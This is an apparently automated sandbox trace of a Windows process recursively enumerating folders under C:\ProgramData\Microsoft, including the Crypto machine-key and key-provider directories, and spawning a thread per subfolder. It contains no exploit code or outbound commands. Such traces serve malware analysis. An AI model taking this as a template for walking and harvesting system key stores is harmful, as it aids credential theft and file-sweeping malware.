	[0077.005] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0077.005] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2=".") returned 1
	[0077.005] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2="..") returned 1
	[0077.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x96) returned 0x2e2b258
	[0077.005] wcscpy (in: _Dest=0x2e2b258, _Source="C:\\ProgramData\\Microsoft\\ClickToRun" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0077.005] wcscat (in: _Dest=0x2e2b258, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0077.005] wcscat (in: _Dest=0x2e2b258, _Source="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0077.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e2b258, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4
	[0077.006] FindNextFileW (in: hFindFile=0x2dac8f8, lpFindFileData=0x2e14c98 | out: lpFindFileData=0x2e14c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0077.006] FindClose (in: hFindFile=0x2dac8f8 | out: hFindFile=0x2dac8f8) returned 1
	[0077.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14c98) returned 1
	[0077.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac688) returned 1
	[0077.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ec0) returned 1

Thread:
	id = 296
	os_tid = 0xf40

	[0076.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x4f48660
	[0076.827] wcscpy (in: _Dest=0x4f48660, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0076.827] wcscat (in: _Dest=0x4f48660, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0076.827] wcscat (in: _Dest=0x4f48660, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\*"
	[0076.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14f00
	[0076.828] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87178
	[0079.927] wcscmp (_String1=".", _String2=".") returned 0
	[0079.927] FindNextFileW (in: hFindFile=0x2d87178, lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.927] wcscmp (_String1="..", _String2=".") returned 1
	[0079.927] wcscmp (_String1="..", _String2="..") returned 0
	[0079.927] FindNextFileW (in: hFindFile=0x2d87178, lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0079.927] wcscmp (_String1="DSS", _String2=".") returned 1
	[0079.927] wcscmp (_String1="DSS", _String2="..") returned 1
	[0079.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2e01d50
	[0079.927] wcscpy (in: _Dest=0x2e01d50, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0079.927] wcscat (in: _Dest=0x2e01d50, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0079.927] wcscat (in: _Dest=0x2e01d50, _Source="DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0092.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabc38
	[0092.505] wcscpy (in: _Dest=0x2dabc38, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0092.505] wcscat (in: _Dest=0x2dabc38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\"
	[0092.505] wcscat (in: _Dest=0x2dabc38, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*"
	[0092.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0092.505] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8718
	[0092.505] wcscmp (_String1=".", _String2=".") returned 0
	[0092.505] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.505] wcscmp (_String1="..", _String2=".") returned 1
	[0092.505] wcscmp (_String1="..", _String2="..") returned 0
	[0092.506] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0092.506] wcscmp (_String1="MachineKeys", _String2=".") returned 1
	[0092.506] wcscmp (_String1="MachineKeys", _String2="..") returned 1
	[0092.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733c78
	[0092.506] wcscpy (in: _Dest=0x4733c78, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS"
	[0092.506] wcscat (in: _Dest=0x4733c78, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\"
	[0092.506] wcscat (in: _Dest=0x4733c78, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0092.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed1b0
	[0092.506] wcscpy (in: _Dest=0x47ed1b0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0092.506] wcscat (in: _Dest=0x47ed1b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\"
	[0092.506] wcscat (in: _Dest=0x47ed1b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*"
	[0092.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.506] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8158
	[0092.506] wcscmp (_String1=".", _String2=".") returned 0
	[0092.506] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.506] wcscmp (_String1="..", _String2=".") returned 1
	[0092.506] wcscmp (_String1="..", _String2="..") returned 0
	[0092.506] FindNextFileW (in: hFindFile=0x46a8158, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.506] FindClose (in: hFindFile=0x46a8158 | out: hFindFile=0x46a8158) returned 1
	[0092.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710a60) returned 1
	[0092.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed1b0) returned 1
	[0092.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733c78) returned 1
	[0092.506] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0092.507] FindClose (in: hFindFile=0x46a8718 | out: hFindFile=0x46a8718) returned 1
	[0092.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710f30) returned 1
	[0092.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabc38) returned 1
	[0092.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01d50) returned 1
	[0092.507] FindNextFileW (in: hFindFile=0x2d87178, lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0092.507] wcscmp (_String1="Keys", _String2=".") returned 1
	[0092.507] wcscmp (_String1="Keys", _String2="..") returned 1
	[0092.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2dac160
	[0092.507] wcscpy (in: _Dest=0x2dac160, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0092.507] wcscat (in: _Dest=0x2dac160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0092.507] wcscat (in: _Dest=0x2dac160, _Source="Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0092.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabce8
	[0092.507] wcscpy (in: _Dest=0x2dabce8, _Source="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys"
	[0092.507] wcscat (in: _Dest=0x2dabce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\"
	[0092.507] wcscat (in: _Dest=0x2dabce8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*"
	[0092.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.507] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8518
	[0092.513] wcscmp (_String1=".", _String2=".") returned 0
	[0092.513] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.513] wcscmp (_String1="..", _String2=".") returned 1
	[0092.513] wcscmp (_String1="..", _String2="..") returned 0
	[0092.513] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.513] FindClose (in: hFindFile=0x46a8518 | out: hFindFile=0x46a8518) returned 1
	[0092.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabce8) returned 1
	[0092.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac160) returned 1
	[0092.513] FindNextFileW (in: hFindFile=0x2d87178, lpFindFileData=0x2e14f00 | out: lpFindFileData=0x2e14f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0092.513] wcscmp (_String1="PCPKSP", _String2=".") returned 1
	[0092.513] wcscmp (_String1="PCPKSP", _String2="..") returned 1
	[0092.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dabe48
	[0092.513] wcscpy (in: _Dest=0x2dabe48, _Source="C:\\ProgramData\\Microsoft\\Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0092.514] wcscat (in: _Dest=0x2dabe48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0092.514] wcscat (in: _Dest=0x2dabe48, _Source="PCPKSP" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0092.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d778a0
	[0092.514] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0092.514] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\"
	[0092.514] wcscat (in: _Dest=0x2d778a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*"
	[0092.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710a60
	[0092.514] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8718
	[0092.515] wcscmp (_String1=".", _String2=".") returned 0
	[0092.515] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.515] wcscmp (_String1="..", _String2=".") returned 1
	[0092.515] wcscmp (_String1="..", _String2="..") returned 0
	[0092.515] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x4710a60 | out: lpFindFileData=0x4710a60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1
	[0092.515] wcscmp (_String1="WindowsAIK", _String2=".") returned 1
	[0092.516] wcscmp (_String1="WindowsAIK", _String2="..") returned 1
	[0092.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ecdc0
	[0092.516] wcscpy (in: _Dest=0x47ecdc0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0092.516] wcscat (in: _Dest=0x47ecdc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\"
	[0092.516] wcscat (in: _Dest=0x47ecdc0, _Source="WindowsAIK" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK"
	[0092.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47eca40
	[0092.516] wcscpy (in: _Dest=0x47eca40, _Source="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK"
	[0092.516] wcscat (in: _Dest=0x47eca40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\"
	[0092.516] wcscat (in: _Dest=0x47eca40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*"
	[0092.516] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710cc8
	[0092.516] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0092.516] wcscmp (_String1=".", _String2=".") returned 0
	[0092.516] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.516] wcscmp (_String1="..", _String2=".") returned 1
	[0092.516] wcscmp (_String1="..", _String2="..") returned 0
	[0092.516] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x4710cc8 | out: lpFindFileData=0x4710cc8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0092.516] FindClose (in: hFindFile=0x46a8258 | out: hFindFile=0x46a8258) returned 1
	[0092.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710cc8) returned 1
	[0092.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eca40) returned 1
	[0092.516] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecdc0) returned 1
